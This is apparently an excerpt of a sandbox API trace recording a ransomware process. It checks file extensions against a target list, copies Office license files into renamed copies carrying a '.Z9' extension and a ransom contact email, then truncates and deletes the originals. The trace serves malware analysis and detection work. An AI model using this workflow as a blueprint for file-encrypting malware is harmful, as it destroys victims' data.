	[0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.248] lstrlenW (lpString=".dbf") returned 4
	[0178.248] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.248] lstrlenW (lpString=".1cd") returned 4
	[0178.248] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.248] lstrlenW (lpString=".jpg") returned 4
	[0178.248] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.248] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.248] lstrlenW (lpString="HomeBusinessR_Grace-ul-oob.xrm-ms") returned 33
	[0178.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.250] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11624) returned 1
	[0178.250] CloseHandle (hObject=0x54c) returned 1
	[0178.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0178.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.251] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.251] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0178.676] GetLastError () returned 0x0
	[0178.676] ReadFile (in: hFile=0x54c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0178.694] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0178.696] ReadFile (in: hFile=0x54c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.696] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x116, lpOverlapped=0x0) returned 1
	[0178.696] SetEndOfFile (hFile=0x3c8) returned 1
	[0178.697] CloseHandle (hObject=0x3c8) returned 1
	[0178.702] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.702] SetEndOfFile (hFile=0x54c) returned 1
	[0178.713] CloseHandle (hObject=0x54c) returned 1
	[0178.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1
	[0179.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.017] lstrlenW (lpString=".doc") returned 4
	[0179.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.017] lstrlenW (lpString=".docx") returned 5
	[0179.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.017] lstrlenW (lpString=".pdf") returned 4
	[0179.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.017] lstrlenW (lpString=".xls") returned 4
	[0179.017] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.017] lstrlenW (lpString=".xlsx") returned 5
	[0179.017] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.017] lstrlenW (lpString=".ppt") returned 4
	[0179.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.017] lstrlenW (lpString=".zip") returned 4
	[0179.017] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.017] lstrlenW (lpString=".rar") returned 4
	[0179.017] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.017] lstrlenW (lpString=".bz2") returned 4
	[0179.018] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.018] lstrlenW (lpString=".7z") returned 3
	[0179.018] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.018] lstrlenW (lpString=".dbf") returned 4
	[0179.018] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.018] lstrlenW (lpString=".1cd") returned 4
	[0179.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.018] lstrlenW (lpString=".jpg") returned 4
	[0179.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.018] lstrlenW (lpString=".doc") returned 4
	[0179.018] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.018] lstrlenW (lpString=".docx") returned 5
	[0179.018] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.018] lstrlenW (lpString=".pdf") returned 4
	[0179.018] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.018] lstrlenW (lpString=".xls") returned 4
	[0179.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.018] lstrlenW (lpString=".xlsx") returned 5
	[0179.018] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.018] lstrlenW (lpString=".ppt") returned 4
	[0179.018] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.019] lstrlenW (lpString=".zip") returned 4
	[0179.019] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.019] lstrlenW (lpString=".rar") returned 4
	[0179.019] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.019] lstrlenW (lpString=".bz2") returned 4
	[0179.019] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.019] lstrlenW (lpString=".7z") returned 3
	[0179.019] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.019] lstrlenW (lpString=".dbf") returned 4
	[0179.019] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.019] lstrlenW (lpString=".1cd") returned 4
	[0179.019] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0179.019] lstrlenW (lpString=".jpg") returned 4
	[0179.019] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.019] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.019] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 37
	[0179.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0179.020] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11621) returned 1
	[0179.021] CloseHandle (hObject=0x36c) returned 1
	[0179.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220
	[0179.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0179.021] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.021] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0179.022] GetLastError () returned 0x0
	[0179.022] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0179.024] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0179.026] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.026] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.026] SetEndOfFile (hFile=0x520) returned 1
	[0179.026] CloseHandle (hObject=0x520) returned 1
	[0179.026] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.026] SetEndOfFile (hFile=0x36c) returned 1
	[0179.030] CloseHandle (hObject=0x36c) returned 1
	[0179.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 1
	[0179.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.032] lstrlenW (lpString=".doc") returned 4
	[0179.032] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.032] lstrlenW (lpString=".docx") returned 5
	[0179.032] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.032] lstrlenW (lpString=".pdf") returned 4
	[0179.032] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.032] lstrlenW (lpString=".xls") returned 4
	[0179.032] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.032] lstrlenW (lpString=".xlsx") returned 5
	[0179.032] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.032] lstrlenW (lpString=".ppt") returned 4
	[0179.032] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.032] lstrlenW (lpString=".zip") returned 4
	[0179.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.032] lstrlenW (lpString=".rar") returned 4
	[0179.032] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString=".bz2") returned 4
	[0179.033] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString=".7z") returned 3
	[0179.033] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.033] lstrlenW (lpString=".dbf") returned 4
	[0179.033] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.033] lstrlenW (lpString=".1cd") returned 4
	[0179.033] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.033] lstrlenW (lpString=".jpg") returned 4
	[0179.033] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.033] lstrlenW (lpString=".doc") returned 4
	[0179.033] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString=".docx") returned 5
	[0179.033] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.033] lstrlenW (lpString=".pdf") returned 4
	[0179.033] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString=".xls") returned 4
	[0179.033] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString=".xlsx") returned 5
	[0179.033] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.033] lstrlenW (lpString=".ppt") returned 4
	[0179.033] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.034] lstrlenW (lpString=".zip") returned 4
	[0179.034] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.034] lstrlenW (lpString=".rar") returned 4
	[0179.034] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.034] lstrlenW (lpString=".bz2") returned 4
	[0179.034] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.034] lstrlenW (lpString=".7z") returned 3
	[0179.034] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.034] lstrlenW (lpString=".dbf") returned 4
	[0179.034] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.034] lstrlenW (lpString=".1cd") returned 4
	[0179.034] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned 87
	[0179.034] lstrlenW (lpString=".jpg") returned 4
	[0179.034] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.034] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.034] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 37
	[0179.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0179.035] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=19966) returned 1
	[0179.036] CloseHandle (hObject=0x36c) returned 1
	[0179.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 0x220
	[0179.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0179.036] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.036] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0179.038] GetLastError () returned 0x0
	[0179.038] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0179.040] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0179.422] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.423] WriteFile (in: hFile=0x520, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.423] SetEndOfFile (hFile=0x520) returned 1
	[0179.423] CloseHandle (hObject=0x520) returned 1
	[0179.424] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.424] SetEndOfFile (hFile=0x36c) returned 1
	[0179.429] CloseHandle (hObject=0x36c) returned 1
	[0179.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.741] lstrlenW (lpString=".doc") returned 4
	[0179.741] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.741] lstrlenW (lpString=".docx") returned 5
	[0179.741] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.741] lstrlenW (lpString=".pdf") returned 4
	[0179.741] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString=".xls") returned 4
	[0179.742] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString=".xlsx") returned 5
	[0179.742] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.742] lstrlenW (lpString=".ppt") returned 4
	[0179.742] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.742] lstrlenW (lpString=".zip") returned 4
	[0179.742] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString=".rar") returned 4
	[0179.742] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString=".bz2") returned 4
	[0179.742] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString=".7z") returned 3
	[0179.742] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.742] lstrlenW (lpString=".dbf") returned 4
	[0179.742] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.742] lstrlenW (lpString=".1cd") returned 4
	[0179.742] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87
	[0179.742] lstrlenW (lpString=".jpg") returned 4
	[0179.742] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
